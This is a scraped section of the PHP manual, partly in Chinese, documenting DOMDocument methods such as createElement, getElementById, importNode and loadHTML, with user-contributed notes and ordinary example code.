DOMDocument->createAttributeNS() -- Create new attribute node with an associated namespace

说明

class DOMDocument {

DOMAttr createAttributeNS ( string namespaceURI, string qualifiedName )

}

This function creates a new instance of class DOMAttr. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

namespaceURI

The URI of the namespace.

qualifiedName

The tag name and prefix of the attribute, as prefix:tagname.

返回值

The new DOMAttr or FALSE if an error occured.

异常

DOM_INVALID_CHARACTER_ERR

Raised if qualifiedName contains an invalid character.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name, or if qualifiedName has a prefix and namespaceURI is NULL.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->createAttribute() | 上一级 | DOMDocument->createCDATASection()


DOMDocument->createCDATASection()

(no version information, might be only in CVS)

DOMDocument->createCDATASection() -- Create new cdata node

说明

class DOMDocument {

DOMCDATASection createCDATASection ( string data )

}

This function creates a new instance of class DOMCDATASection. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

data

The content of the cdata.

返回值

The new DOMCDATASection or FALSE if an error occured.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->createAttributeNS() | 上一级 | DOMDocument->createComment()


DOMDocument->createComment()

(no version information, might be only in CVS)

DOMDocument->createComment() -- Create new comment node

说明

class DOMDocument {

DOMComment createComment ( string data )

}

This function creates a new instance of class DOMComment. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

data

The content of the comment.

返回值

The new DOMComment or FALSE if an error occured.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->createCDATASection() | 上一级 | DOMDocument->createDocumentFragment()


DOMDocument->createDocumentFragment()

(no version information, might be only in CVS)

DOMDocument->createDocumentFragment() -- Create new document fragment

说明

class DOMDocument {

DOMDocumentFragment createDocumentFragment ( void )

}

This function creates a new instance of class DOMDocumentFragment. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

返回值

The new DOMDocumentFragment or FALSE if an error occured.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
jb at jbpros dot com
13-May-2006 11:04
DOMDocumentFragment can be very useful with XPath: you may need to apply an XPath expression to a list of nodes.

$dom_doc = new DOMDocument();
$dom_fragment = $dom_doc->createDocumentFragment();
$dom_element_a1 = $dom_fragment->appendChild($dom_doc->createElement('a', 'first node'));
$dom_element_a2 = $dom_fragment->appendChild($dom_doc->createElement('a', 'second node'));
$xpath = new DOMXpath($dom_doc);
$nodes = $xpath->query('a', $dom_fragment);

foreach ($nodes as $node) {
   echo $node->textContent . "\n";
}

This way you do not need to embed the nodes within a parent element that could be returned by the xpath expression when you do not want this to happen.
03-Dec-2005 04:58
You can append document fragments to documents. This will append their nodes instead of fragment node itself.
So if you're asking yourself "how do I make function that returns more than one node" - that is the answer.
Naonak
16-Sep-2005 01:31
Example :

$dom = new DomDocument;
$frag = $dom->createDocumentFragment();
$fragment= $dom->createElement( 'fragment' );
$frag->appendChild( $fragment);

$domNode = $dom2->importNode($frag, true);
$dom2->appendChild( $domNode );

print_r($dom2->saveXML());
add a note add a note

后退 | 起点 | 前进
DOMDocument->createComment() | 上一级 | DOMDocument->createElement()


DOMDocument->createElement()

(no version information, might be only in CVS)

DOMDocument->createElement() -- Create new element node

说明

class DOMDocument {

DOMElement createElement ( string name [, string value] )

}

This function creates a new instance of class DOMElement. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

name

The tag name of the element.

value

The value of the element. By default, an empty element will be created. You can also set the value later with DOMElement->nodeValue.

返回值

Returns a new instance of class DOMElement or FALSE if an error occured.

异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

范例

例子 1. Creating a new element and inserting it as root

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');

$element = $dom->createElement('test', 'This is the root element!');

// We insert the new element as root (child of the document)
$dom->appendChild($element);

echo $dom->saveXML();
?>

上例将输出：

<?xml version="1.0" encoding="iso-8859-1"?>
<test>This is the root element!</test>

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
inayat_us21 at yahoo dot com
07-Feb-2006 02:05
Simple way to create an rss feed using php5
<?php

//create xml doc
$doc = new DOMDocument("1.0");

//create the rss element
$root = $doc->createElement('rss');
$root = $doc->appendChild($root);
$root->setAttribute('version','2.0');

//create the channel element
$channel = $doc->createElement("channel");
$channel = $root->appendChild($channel);

$elements = array();
$elements["title"] = "my feed's title";
$elements["link"] = "http://mydomain.com/index.rss";
$elements["description"] = "Demonstration feed created using PHP5 and the DOM extension. The php script that generated this document can be found at : http://thousandrobots.com/dev/xml/dom/auto.phps";
$elements["language"] = "en-us";
$elements["copyright"] = "copyright 2005 thousandrobots.com";
$elements["docs"] = "http://backend.userland.com/rss";
$elements["generator"] = "thousand robots dom-based rss generator";
$elements["managingEditor"] = "editor@spam.thousandrob0ts.com (ADM)";
$elements["webMaster"] = "webmaster@spam.thousandrob0ts.com (ADM)";
$elements["lastBuildDate"] = "Sat, 05 Feb 2005 23:39:07 EST";

foreach ($elements as $elementname => $elementvalue)
{
 $elementname = $doc->createElement($elementname);
 $elementname = $channel->appendChild($elementname);
 $elementname->appendChild($doc->createTextNode($elementvalue));
}

//clear the array
unset($elements);

//now create the first feed item
//instead, you could just pull some items from a db into an elements[] array.
$elements[0]["title"] = "title of first item";
$elements[0]["description"] = "a short description of the first item";
$elements[0]["link"] = "http://thousandrobots.com/?article=1";
$elements[0]["author"] = "author@spam.thousandrob0ts.com (ADM)";
$elements[0]["pubDate"] = "Sat, 05 Feb 2005 23:39:07 EST";
$elements[0]["category"] = "tech";
$elements[0]["guid"] = "http://thousandrobots.com/?article=1";

//create the other items
$elements[1]["title"] = "title of next item";
$elements[1]["description"] = "a short description of the next item";
$elements[1]["link"] = "http://thousandrobots.com/?article=N";
$elements[1]["author"] = "author@spam.thousandrob0ts.com (ADM)";
$elements[1]["pubDate"] = "Sat, 05 Feb 2005 22:39:07 EST";
$elements[1]["category"] = "tech";
$elements[1]["guid"] = "http://thousandrobots.com/?article=N";

//loop through each item and add its elements to the tree
foreach ( $elements as $element )
{
   //create the item element
   $item = $doc->createElement("item");
   $item = $channel->appendChild($item);

   foreach ( $element as $elementname => $elementvalue )
   {
       $elementname = $doc->createElement($elementname);
       $elementname = $item->appendChild($elementname);
       $elementname->appendChild($doc->createTextNode($elementvalue));
   }
}

//output the xml
header('Content-Type: text/xml');
echo $doc->saveXML();

?>
php at pureftpd dot org
15-Aug-2005 07:40
What is missing from the documentation is that arguments for createElement() *must* be escaped with htmlspecialchars().

Without it, "&" characters will produce invalid XML.
brian dot sanders at cometsystems dot com
21-Jan-2005 06:08
Regarding paul squigly-symbol allofus dot org's comment below:

Neither this method, nor setting the nodeValue property, encodes ampersands (&).  You must manually encode them or use the textContent property (which encodes them as expected.)

However, setting textContent on an element created by DOMDocument::createElement does NOT work.  You must create a text node, set its textContent, then append the text node to your element:

<?php

$dom = DomDocument::loadXML(<<<XML
<?xml version="1.0"?>
<foo/>
XML)
;

$element = $dom->createElement('bar');
$element->appendChild($dom->createTextNode('pb & j'));
$dom->documentElement->appendChild($element);

?>
franp at free dot fr
05-Aug-2004 05:02
AFAIK there is no way to return as a string a newly created node or element before attaching it to an existing DOMDocument.

If you need to display a newly created node or element for debugging purposes - certainly you will at some point :-( , you must temporary append it to an existing DOMDocument.

Example :
<?php
$newQuant = $caddy->createElement("quantity");
$newQuantText = $caddy->createTextNode("5");
$newQuant->appendChild($newQuantText);
?>

// Until now no way to check the result
// Let's append it to an existing DOMDocument :
<?php
$caddy->documentElement->appendChild($newQuant);
?>

// Now we can display it as a string :
<?php
echo nl2br(htmlspecialchars(
$caddy->saveXML($caddy->documentElement->lastChild)));
?>

// This return :
<?php
<quantity>5</quantity>
?>

// Do not forget to remove the appended node as it may  :
<?php
$caddy->documentElement->removeChild($newQuant);
?>

That's it !
It is a convenient workaround for the lack of "transformToXML" in php5.
add a note add a note

后退 | 起点 | 前进
DOMDocument->createDocumentFragment() | 上一级 | DOMDocument->createElementNS()


DOMDocument->createElementNS()

(no version information, might be only in CVS)

DOMDocument->createElementNS() -- Create new element node with an associated namespace

说明

class DOMDocument {

DOMElement createElementNS ( string namespaceURI, string qualifiedName [, string value] )

}

This function creates a new element node with an associated namespace. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

namespaceURI

The URI of the namespace.

qualifiedName

The qualified name of the element, as prefix:tagname.

value

The value of the element. By default, an empty element will be created. You can also set the value later with DOMElement->nodeValue.

返回值

The new DOMElement or FALSE if an error occured.

异常

DOM_INVALID_CHARACTER_ERR

Raised if qualifiedName contains an invalid character.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a maformed qualified name.

范例

例子 1. Creating a new element and inserting it as root

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');

$element = $dom->createElementNS('http://www.example.com/XFoo', 'xfoo:test', 'This is the root element!');

// We insert the new element as root (child of the document)
$dom->appendChild($element);

echo $dom->saveXML();
?>

上例将输出：

<?xml version="1.0" encoding="iso-8859-1"?>
<xfoo:test xmlns:xfoo="http://www.example.com/XFoo">This is the root element!</xfoo:test>

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->createElement() | 上一级 | DOMDocument->createEntityReference()


DOMDocument->createEntityReference()

(no version information, might be only in CVS)

DOMDocument->createEntityReference() -- Create new entity reference node

说明

class DOMDocument {

DOMEntityReference createEntityReference ( string name )

}

This function creates a new instance of class DOMEntityReference. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

name

The content of the entity reference, e.g. the entity reference minus the leading & and the trailing ; characters.

返回值

The new DOMEntityReference or FALSE if an error occured.

异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->createElementNS() | 上一级 | DOMDocument->createProcessingInstruction()


DOMDocument->createProcessingInstruction()

(no version information, might be only in CVS)

DOMDocument->createProcessingInstruction() -- Creates new PI node

说明

class DOMDocument {

DOMProcessingInstruction createProcessingInstruction ( string target [, string data] )

}

This function creates a new instance of class DOMProcessingInstruction. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

target

The target of the processing instruction.

data

The content of the processing instruction.

返回值

The new DOMProcessingInstruction or FALSE if an error occured.

异常

DOM_INVALID_CHARACTER_ERR

Raised if target contains an invalid character.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
leffeman at gmail dot com
12-Mar-2005 12:53
Used like this:

<?php
$dom = new DOMDocument('1.0', 'UTF-8');
$dom->appendChild($dom->createProcessingInstruction(
   'xml-stylesheet', 'href="test.xsl" type="text/xsl"'));
?>

it produces this:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="test.xsl" type="text/xsl"?>

Just as the instruction in XSLT :)
add a note add a note

后退 | 起点 | 前进
DOMDocument->createEntityReference() | 上一级 | DOMDocument->createTextNode()


DOMDocument->createTextNode()

(no version information, might be only in CVS)

DOMDocument->createTextNode() -- Create new text node

说明

class DOMDocument {

DOMText createTextNode ( string content )

}

This function creates a new instance of class DOMText. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

content

The content of the text.

返回值

The new DOMText or FALSE if an error occured.

参见

DOMNode->appendChild()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()

add a note add a note User Contributed Notes
jon at websandbox dot net
04-Aug-2005 07:01
About escaping characters:
This is standard behavior.  brackets, ampersans, and maybe even quoted will be "escaped" if you output your XML as a string.

This should not, however, happen if you append your text node to a CDATA section.
add a note add a note

后退 | 起点 | 前进
DOMDocument->createProcessingInstruction() | 上一级 | DOMDocument->getElementById()


DOMDocument->getElementById()

(no version information, might be only in CVS)

DOMDocument->getElementById() -- Searches for an element with a certain id

说明

class DOMDocument {

DOMElement getElementById ( string elementId )

}

This function is similar to DOMDocument->getElementsByTagName() but searches for an element with a given id.

According to the DOM standard this requires a DTD which defines the attribute ID to be of type ID. You need to validate your document with DOMDocument->validate() or DOMDocument->validateOnParse before using this function.

参数

elementId

The unique id value for an element.

返回值

Returns the DOMElement or NULL if the element is not found.

范例

例子 1. DOMDocument->getElementById() Example

<?php

$doc = new DomDocument;

// We need to validate our document before refering to the id
$doc->validateOnParse = true;
$doc->Load('book.xml');

echo "The element whose id is books is: " . $doc->getElementById('books')->tagName . "\n";

?>

上例将输出：

The element whose id is books is: chapter

参见

DOMDocument->getElementsByTagName()

add a note add a note User Contributed Notes
richard at 2006 dot atterer dot net
06-Jun-2006 03:51
OK, so maybe PHP's getElementById() is behaving according to spec, but it does not have the behaviour that people *want*...
Below is a global getElementById() function (i.e. not a DOMDocument method) which recursively searches through a document for a certain id value.

/* Find the first element in the document (sub)tree whose id attribute
   has the value $id. By default, the entire document is searched - pass
   a non-NULL value in $node to search only the subtree below $node. */
function getElementById(DOMDocument $doc, /*string*/ $id,
                       DOMNode $node = NULL) {
  if ($node === NULL) return getElementById($doc, $id, $doc->documentElement);
  $children = $node->childNodes;
  for ($i = 0; $i < $children->length; ++$i) {
   $elem = $children->item($i);
   if (!($elem instanceof DOMElement)) continue;
   if ($elem->getAttribute('id') == $id) return $elem;
   $ret = getElementById($doc, $id, $elem);
   if ($ret !== NULL) return $ret;
  }
  return NULL;
}
Tangui dot Le-Pense at laposte dot net
08-Apr-2006 09:00
Validating a document from a DTD so as to use getElementById is sometimes impossible (for example when the head and body elements are not included yet in a XHtml document : the validation failed).
Fortunately, xml:id is supported by this function :)
That may be useful.
http://www.w3.org/TR/xml-id/
20-Dec-2005 11:04
If you're trying to use getElementById with a xml file validated on a xsd file you must first use the schemaValidate function or getElementById will return null
Example:

  $dom = new DomDocument();
  $dom->load("users.xml");
  $dom->schemaValidate("users.xsd");

  $curruser = $dom->getElementById($user->name);
bart at mediawave dot nl
11-Sep-2005 07:46
It seems getElementById works fine without setting validateOnParse to true. Which is nice since setting this to true caused some performance problems with my script.
rafaeltovar at nodo50 dot org
04-Aug-2005 04:31
Import a part to xml file to node of DOMDocument:

You have do put the correct DTD for ID attribute on XML file:

//----menu.xml----

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE menu [
   <!ELEMENT menu (item+)>
   <!ATTLIST menu id ID #REQUIRED>
   <!ELEMENT item (name, url)>
   <!ELEMENT name (#PCDATA)>
   <!ELEMENT url (#PCDATA)>
]>

<menu id="menu">
   <item>
       <name>item 1</name>
       <url>item1.php</url>
   </item>
   <item>
       <name>item 2</name>
       <url>item2.php</url>
   </item>
   <item>
       <name>item 3</name>
       <url>item3.php</url>
   </item>
   <item>
       <name>item 4</name>
       <url>item4.php</url>
   </item>
</menu>
//--------------------

<?
 $dom  = new DOMDocument('1.0', 'UTF-8');
 $page = $dom->createElement('page');
 $page = $dom->appendChild($page);

 // Load a file
 $domMenu  = new DOMDocument();
 $domMenu->validateOnParse = true;
 $domMenu->load("xml/menu.xml");

 // Use getElementById()
 $element=$domMenu->getElementById("menu");

 $menu = $dom->importNode($element, true);

 $page->appendChild($menu);

?>
chregu at php dot net
02-Jul-2004 07:37
http://wiki.bitflux.org/GetElementById_Pitfalls has an overview, of how to make getElementById work with aribtrary XML documents.
add a note add a note

后退 | 起点 | 前进
DOMDocument->createTextNode() | 上一级 | DOMDocument->getElementsByTagName()


DOMDocument->getElementsByTagName()

(no version information, might be only in CVS)

DOMDocument->getElementsByTagName() -- Searches for all elements with given tag name

说明

class DOMDocument {

DOMNodeList getElementsByTagName ( string name )

}

This function returns a new instance of class DOMNodeList containing the elements with a given tag name.

参数

name

The name of the tag to match on. The special value * matches all tags.

返回值

A new DOMNodeList object containing all the matched elements.

参见

DOMDocument->getElementsByTagNameNS()

add a note add a note User Contributed Notes
captainbajoo at juno dot com
11-May-2006 01:39
Regarding the possibility of an infinite loop when altering the document tree while iterating:
We can see what really happens by investigating the keys of the NodeList. They are numeric indices starting at 0. Suppose we call getElementsByTagName('*') and receive a NodeList like this:

$nodes[0] = <root>
$nodes[1] = <first>

Iteration via foreach:

foreach ($nodes as $node)

can be re-written like this:

for ($i=0; $i < count($nodes); $i++)

On the first iteration, $nodes[$i] refers to <root>

If we happen to insert a new node immediately before the current node:

insertBefore(<infinite>, $nodes[$i])

$nodes[$i] stops referring to <root> and now refers to <infinite>; the new element takes the place of the old one (in the indexed ordering) and all subsequent nodes shift up by one.

On the next iteration, $i increments by one, so $nodes[$i] refers to <root> and the process repeats.

Here is PHP code to demonstrate:

<?php

$dom = new DOMDocument();
$rootNode = $dom->createElement('root');
$dom->appendChild($rootNode);

$firstNode = $dom->createElement('first');
$rootNode->appendChild($firstNode);

$allnodes = $dom->getElementsByTagName('*');

for ($i=0; ; $i++) {
  $node = $allnodes->item($i);
  echo "before: {$node->nodeName} ";

  $newNode = $dom->createElement('infinite');
  $node->parentNode->insertBefore($newNode, $node);

  $node = $allnodes->item($i);
  echo "after: {$node->nodeName} <br/>";

  if ($i > 4) break; # break arbitrarily so we can see the output
}

?>

Thus, if you are able to know, within the scope of the loop, that a node has been inserted, and use for instead of foreach, you can explicitly increment the iterator once more and "skip" the node that you already visited (if that's what you want; at any rate, that's what I wanted).

"Can" doesn't mean "should," of course; this sounds like a kludge (violating the sanctity of the iterator), but use your best judgment.
captainbajoo at juno dot com
11-May-2006 09:19
(As of v5.0.5, Win32)
Altering the document structure while iterating the NodeList returned by getElementsByTagName() affects the NodeList you are iterating. Combined with the DOMNode->insertBefore() method, this is a good way to create an infinite loop!
Example:
<?php

$dom = new DOMDocument();
$rootNode = $dom->createElement('root');
$dom->appendChild($rootNode);

$firstNode = $dom->createElement('first');
$rootNode->appendChild($firstNode);

$allnodes = $dom->getElementsByTagName('*');

foreach ($allnodes as $node) {
  $newNode = $dom->createElement('infinite');
  $node->parentNode->insertBefore($newNode, $node);
}

# the loop never terminates; on the next iteration, $node <= $newNode, another 'infinite' node is created and inserted before it, and so on
?>
gem at rellim dot com
30-Sep-2004 07:20
Here is an example of getElementsByTagName():

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<config>
  <section id="section1">
   <param name="param1">value1</param>
   <param name="param2">value2</param>
  </section>
  <section id="section2">
   <param name="param3">value3</param>
  </section>
</config>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('param');

foreach ($params as $param) {
       echo $param -> getAttribute('name').'<br>';
}
?>

Expected result:
--------------
param1
param2
param3
add a note add a note

后退 | 起点 | 前进
DOMDocument->getElementById() | 上一级 | DOMDocument->getElementsByTagNameNS()


DOMDocument->getElementsByTagNameNS()

(no version information, might be only in CVS)

DOMDocument->getElementsByTagNameNS() -- Searches for all elements with given tag name in specified namespace

说明

class DOMDocument {

DOMNodeList getElementsByTagNameNS ( string namespaceURI, string localName )

}

Returns a DOMNodeList of all elements with a given local name and a namespace URI.

参数

namespaceURI

The namespace URI of the elements to match on. The special value * matches all namespaces.

localName

The local name of the elements to match on. The special value * matches all local names.

返回值

A new DOMNodeList object containing all the matched elements.

范例

例子 1. Get all the XInclude elements

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
<xi:include href="book.xml">
  <xi:fallback>
   <error>xinclude: book.xml not found</error>
  </xi:fallback>
</xi:include>
<include>
  This is another namespace
</include>
</para>
</chapter>
EOD;
$dom = new DOMDocument;

// load the XML string defined above
$dom->loadXML($xml);

foreach ($dom->getElementsByTagNameNS('http://www.w3.org/2001/XInclude', '*') as $element) {
    echo 'local name: ', $element->localName, ', prefix: ', $element->prefix, "\n";
}
?>

上例将输出：

local name: include, prefix: xi
local name: fallback, prefix: xi

参见

DOMDocument->getElementsByTagName()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->getElementsByTagName() | 上一级 | DOMDocument->importNode()


DOMDocument->importNode()

(no version information, might be only in CVS)

DOMDocument->importNode() -- Import node into current document

说明

class DOMDocument {

DOMNode importNode ( DOMNode importedNode [, bool deep] )

}

This function returns a copy of the node to import and associates it with the current document.

参数

importedNode

The node to import.

deep

If set to TRUE, this method will recursively import the subtree under the importedNode.

返回值

The copied node.

异常

DOMException is thrown if node cannot be imported.

add a note add a note User Contributed Notes
TJ <php at tjworld dot net>
04-Nov-2005 05:15
Beware if you're working with classes you've extended from DOMNode, DOMElement, etc.

Calling importNode() with an object of your derived class will result in the copy being an instance of the DOM super class.

You will *not* get a copy of the derived class or any of its properties or methods.

For example:

<?
class extDOMElement extends DOMElement {
 function __construct($name, $value='', $namespaceURI=null) {
  parent::__construct($name, $value, $namespaceURI);
 }
}

class extDOMDocument extends DOMDocument {
 // over-ride DOMDocument->createElement()
 public function createElement($name, $value) {
  // intention is to set extDOMElement->ownerDocument property
  $orphan = new extDOMElement($name, $value);
  $adopt = $this->importNode($orphan, true);
  /* at this point $adopt is expected to be an instance of
   * extDOMElement with ownerDocument property set
   */
   return $adopt; // but $adopt is only a DOMElement
 }
}

$doc = new extDOMDocument();
$el = $doc->createElement('tagName');
echo 'Element instanceof '.get_class($el);
?>

Will display "Element instanceof DOMElement" rather than the expected "extDOMElement"
Fitopaldi
04-Aug-2005 02:29
importNode returns a copy of the node to import and associates it with the current document, but not import the node to the current DOMDocument. Use appendChild for import the copy of the node to current DOMDocument.

<?
 $domNode = $dom->importNode($aDomNode, true);
 $currentDomDocument->appendChild($domNode);
?>
add a note add a note

后退 | 起点 | 前进
DOMDocument->getElementsByTagNameNS() | 上一级 | DOMDocument->load()


DOMDocument->load()

(no version information, might be only in CVS)

DOMDocument->load() -- Load XML from a file

说明

class DOMDocument {

bool load ( string filename [, int options] )

}

Loads an XML document from a file.

This method may also be called statically to load and create a DOMDocument object. The static invocation may be used when no DOMDocument properties need to be set prior to loading.

参数

filename

The path to the XML document.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Creating a Document

<?php
$doc = DOMDocument::load('book.xml');
echo $doc->saveXML();

$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

参见

DOMDocument->loadXML()
DOMDocument->save()
DOMDocument->saveXML()

add a note add a note User Contributed Notes
daevid at daevid dot com
19-Oct-2005 08:08
Suppose you wanted to dynamically load an array from an .XSD file. This method is your guy. just remember to use the actual xs: portion in xpaths and such.

All the other "load" methods will error out.

<?php
$attributes = array();
$xsdstring = "/htdocs/api/xsd/common.xsd";
$XSDDOC = new DOMDocument();
$XSDDOC->preserveWhiteSpace = false;
if ($XSDDOC->load($xsdstring))
{
   $xsdpath = new DOMXPath($XSDDOC);
   $attributeNodes =
             $xsdpath->
             query('//xs:simpleType[@name="attributeType"]')
             ->item(0);
   foreach ($attributeNodes->childNodes as $attr)
   {
       $attributes[ $attr->getAttribute('value') ] = $attr->getAttribute('name');
   }
   unset($xsdpath);
}
print_r($attributes);
?>

BTW, this form is LAME and won't post if lines are too long... format as needed. I tried several times and just gave up. *sigh*
add a note add a note

后退 | 起点 | 前进
DOMDocument->importNode() | 上一级 | DOMDocument->loadHTML()


DOMDocument->loadHTML()

(no version information, might be only in CVS)

DOMDocument->loadHTML() -- Load HTML from a string

说明

class DOMDocument {

bool loadHTML ( string source )

}

The function parses the HTML contained in the string source. Unlike loading XML, HTML does not have to be well-formed to load. This function may also be called statically to load and create a DOMDocument object. The static invocation may be used when no DOMDocument properties need to be set prior to loading.

参数

source

The HTML string.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Creating a Document

<?php
$doc = DOMDocument::loadHTML("<html><body>Test<br></body></html>");
echo $doc->saveHTML();

$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br></body></html>");
echo $doc->saveHTML();
?>

参见

DOMDocument->loadHTMLFile()
DOMDocument->saveHTML()
DOMDocument->saveHTMLFile()

add a note add a note User Contributed Notes
bigtree at DONTSPAM dot 29a dot nl
26-Apr-2005 05:15
Pay attention when loading html that has a different charset than iso-8859-1. Since this method does not actively try to figure out what the html you are trying to load is encoded in (like most browsers do), you have to specify it in the html head. If, for instance, your html is in utf-8, make sure you have a meta tag in the html's head section:

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
</head>

If you do not specify the charset like this, all high-ascii bytes will be html-encoded. It is not enough to set the dom document you are loading the html in to UTF-8.
add a note add a note

后退 | 起点 | 前进
DOMDocument->load() | 上一级 | DOMDocument->loadHTMLFile()


DOMDocument->loadHTMLFile()

(no version information, might be only in CVS)

DOMDocument->loadHTMLFile() -- Load HTML from a file

说明

class DOMDocument {

bool loadHTMLFile ( string filename )

}

The function parses the HTML document in the file named filename. Unlike loading XML, HTML does not have to be well-formed to load.

This function may also be called statically to load and create a DOMDocument object. The static invocation may be used when no DOMDocument properties need to be set prior to loading.

参数

filename

The path to the HTML file.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Creating a Document

<?php
$doc = DOMDocument::loadHTMLFile("filename.html");
print $doc->saveHTML();

$doc = new DOMDocument();
$doc->loadHTMLFile("filename.html");
print $doc->saveHTML();
?>

参见

DOMDocument->loadHTML()
DOMDocument->saveHTML()
DOMDocument->saveHTMLFile()

add a note add a note User Contributed Notes
yellow5 at beggarchooser dot com
29-Nov-2005 01:49
Here's the function I use to recursively get all text within a node:

function GetNodeText($ndNode)
{
   $sTagText = "";

   if ($ndNode->nodeName == "#text")
   {
       $sTagText = $ndNode->nodeValue;
   }

   if ($ndNode->hasChildNodes())
   {
       $sTagText .= GetNodeText($ndNode->firstChild);
   }

   if ($ndNode->nextSibling)
   {
       $sTagText .= GetNodeText($ndNode->nextSibling);
   }

   return $sTagText;
}
Lachlan Hunt
27-Sep-2005 02:15
Andy, the code you gave should not give that result.  In your code, $tag is an <a> element and the nodeValue of elements is null, according to the DOM2 spec.  You need to get at the text node first, before getting the node value.
<?
...
foreach ($tags as $tag) {
       echo $tag->getAttribute('href').' | '.$tag->childNodes->item(0)->nodeValue."\n";
}
?>

This should output:

/mypage1 | Hello World!
/mypage2 | Another Hello World!
andy at carobert dot com
26-May-2005 04:24
This puts the HTML into a DOM object which can be parsed by individual tags, attributes, etc..  Here is an example of getting all the 'href' attributes and corresponding node values out of the 'a' tag. Very cool....

<?php
$myhtml = <<<EOF
<html>
<head>
<title>My Page</title>
</head>
<body>
<p><a href="/mypage1">Hello World!</a></p>
<p><a href="/mypage2">Another Hello World!</a></p>
</body>
</html>
EOF;

$doc = new DOMDocument();
$doc->loadHTML($myhtml);

$tags = $doc->getElementsByTagName('a');

foreach ($tags as $tag) {
       echo $tag->getAttribute('href').' | '.$tag->nodeValue."\n";
}
?>

This should output:

/mypage1 | Hello World!
/mypage2 | Another Hello World!
bens at effortlessis dot com
09-Apr-2005 08:11
Note that this function doesn't parse the individual tags WITHIN the html file - it's all loaded as a "black box", and you end up with an XML widget that comprises nothing but the complete chunk of HTML.

I was hoping it would function as a sort of HTML-validator/parser, but that doesn't seem to be the case.
add a note add a note

后退 | 起点 | 前进
